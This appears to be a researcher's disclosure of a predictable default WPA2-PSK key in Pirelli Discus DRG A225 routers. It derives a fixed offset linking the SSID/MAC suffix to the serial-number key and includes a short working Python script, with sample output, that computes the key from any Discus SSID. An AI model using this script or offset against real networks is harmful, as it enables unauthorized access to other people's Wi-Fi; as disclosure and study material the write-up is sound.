Pirelli Discus DRG A225 WiFi router

Default WPA2-PSK algorithm vulnerability

Muris Kurgaš
http://www.remote-exploit.org

Introduction

Few months ago, I took a smoke break with my collegue at work, and we started chatting about Thomson SpeedTouch routers, which was delivered to our houses by T-com, which has capability to deliver iptv, voip and internet. I was looking at the router and his default WPA2-PSK key, and realized it was made of hexadecimal characters, which is numbers from 0 to 9, and chars A to F. I was wondering how big dictionary could be, if i make one from these characters with every possible combination. Then I realized, it could be very big and will consume much time of my processor when cracked with aircrack-ng after capturing four-way handshake. After looking at the wiki page regarding this router, I found out that this algorithm is already broken! I downloaded ssid2key.py file, and tried it. Worked like a charm... About this vulnerability you can read at http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/
But, this is not the end, T-com now delivers Pirelli Discus DRG A225 WiFi routers for triple play to every house and SMB offices. And here the real story begins...

Wardriving gave me good statistics about what is going on in town where I live (Podgorica, Montenegro). There are many open access and WEP (Wired Equivalent Protection) protected access points, few hotspots, few WPA2-PSK protected (the question is how strong passphrase is :)), many many SpeedTouch's with WPA2-PSK encryption, and somehow came out so many Discus—XXXXX access points! T-com delivers it now. It was so annoying to me that I couldn't break these wifi routers. It has similar SSID as Thomson SpeedTouch, and I knew there must be the way to crack it. After searching the internet, no one even tried to break it.

Analyzing the router

The router comes with a sticker at the bottom, with printed S/N, default SSID, MAC address, default WPA2PSK etc. The first router I examined had the following:

Default SSID	**Discus--DA1CC5**
Default WPA2PSK	**YW0150565**
MAC address	**00:1C:A2:DA:1C:C5**
S/N	**YW0150565**

Analysing these data, we can assume some things. We already know that first three octets of MAC address represent the vendor, in this case – Pirelli Broadband Solutions. But, last three

octets matches the last six characters of default SSID. No particular algorithm generation or something like that, just copy/paste. Serial number matches the default WPA2PSK key. Nothing special, but how we can predict the default key if we can't see the sticker at the bottom of the router or know the serial number? On the second day of fuzzing this algorithm or finding connection between MAC address and SSID to extract the key, I've got another router beside me:

Default SSID	**Discus--DA1E09**
Default WPA2PSK	**YW0150646**
MAC address	**00:1C:A2:DA:1E:09**
S/N	**YW0150646**

Right away I compared these two routers. First thing on my mind was something like: "Is it possible that they generated MAC addresses and serial numbers values in raw?" In this case, I could find start value and make a formula, but this would be so stupid and waste of time – I thought. In other case, maybe I'm on the right direction. With simple math I've got some juicy values.

- MAC addresses:

$$\mathbf{001CA2DA1E09_{16} - 001CA2DA1CC5_{16} = 144_{16} = 324_{10}}$$

- Serial numbers, removed YW0:

$$\mathbf{150646_{10} - 150565_{10} = 81_{10}}$$

- These two values didn't match, but I noticed the connection right away!

$$\mathbf{81_{10} * 4_{10} = 324_{10}}$$

✓ Bull's eye! Now we proved the connection between the MAC address, or the last six characters from default SSID, and the serial number or default key!

Now we can find the start value, because we can see that S/N and MAC address comes together in raw. We will take the data from first router to examine the start value.

$$\frac{\mathbf{DA1E09_{16} - x}}{\mathbf{4_{10}}} = \mathbf{150646_{10}}$$

$$\mathbf{x = D0EC31_{16}}$$

The problem

- The router's default settings are very good at first site.
- Default SSID is unique
- WPA2PSK is strong and complex
- At first site, you don't need to change anything: plug it in, surf, talk, watch TV
- If user changes default SSID you can still see it's MAC address
- 99% of non-technical people won't change these default settings, for many reasons

Proof of concept

```
#!/usr/bin/python
#
# Pirelli Discus DRG A225 WiFi router
# Default WPA2-PSK algorithm vulnerability
#
# With this code we can predict the WPA2-PSK key...
#
# Hacked up by Muris Kurgas aka j0rgan
#          j0rgan (-@-) remote-exploit.org
#       http://www.remote-exploit.org
#
# Use for education or legal penetration testing purposes.....
#
import sys

def hex2dec(s):
        return int(s, 16)

if len(sys.argv) < 2 or len(sys.argv[1]) != 6:
        print "\r\nEnter the last 6 chars from Discus SSID"
        print "i.e. SSID should be 'Discus--XXXXXX', where XXXXXX is last 6 chars\r\n"
        exit()
const = hex2dec('D0EC31')
inp = hex2dec(sys.argv[1])
result = (inp - const)/4

print "Possible PSK for Discus--"+sys.argv[1]+" would be: YW0"+str(result)
```

Output example

```
root@bt:~#  ./discus.py DA1CC5

Possible PSK for Discus--DA1CC5 would be: YW0150565
```

Conclusion

First of all, I would like to mention that I have contacted Pirelli Broadband Solutions at first place. They didn't respond to my email. Second, this weakness or vulnerability has been tested on tens of routers in Montenegro – legally. Third, this proof of concept may not work in Italy maybe (not tested yet), but the principle of the weakness is the same. Fourth, this may affect other Pirelli Discus products family.

Be safe,
j0rgan (-@-) remote-exploit.org